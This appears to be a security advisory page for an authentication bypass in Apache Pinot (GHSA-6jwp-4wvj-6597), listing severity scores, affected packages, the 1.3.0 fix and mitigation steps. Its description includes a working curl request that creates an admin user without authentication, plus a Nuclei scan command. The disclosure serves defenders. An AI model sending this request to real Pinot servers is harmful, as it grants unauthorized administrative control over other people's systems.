GHSA-6jwp-4wvj-6597 is a critical-severity (CVSS 9.8) CWE-288 vulnerability in org.apache.pinot:pinot-broker. EPSS puts its 30-day exploitation probability at 80.2% (100th percentile). A fix is available for org.apache.pinot:pinot-broker — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6jwp-4wvj-6597.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.apache.pinot:pinot-broker☕org.apache.pinot:pinot-common☕org.apache.pinot:pinot-controllerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.apache.pinot:pinot-broker | ≥ 0.8.0&&< 1.3.0 | 1.3.0org.apache.pinot:pinot-broker:1.3.0 |
| ☕Maven | org.apache.pinot:pinot-common | ≥ 0.8.0&&< 1.3.0 | 1.3.0org.apache.pinot:pinot-common:1.3.0 |
| ☕Maven | org.apache.pinot:pinot-controller | ≥ 0.8.0&&< 1.3.0 | 1.3.0org.apache.pinot:pinot-controller:1.3.0 |
Affected Products
pinotapacheDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.apache.pinot:pinot-broker, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.apache.pinot:pinot-broker to 1.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6jwp-4wvj-6597 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
How to detect GHSA-6jwp-4wvj-6597
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-6jwp-4wvj-6597 -u https://target- Template
- Apache Pinot < 1.3.0 - Authentication Bypass
- Severity
- critical
- Impact
- Unauthenticated attackers can bypass authentication by injecting special characters in URIs, gaining unauthorized access to Apache Pinot administrative functions.
- Remediation
- Update Apache Pinot to version 1.3.0 or later to address the authentication bypass vulnerability.
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Frequently Asked Questions
Is GHSA-6jwp-4wvj-6597 in your dependencies?
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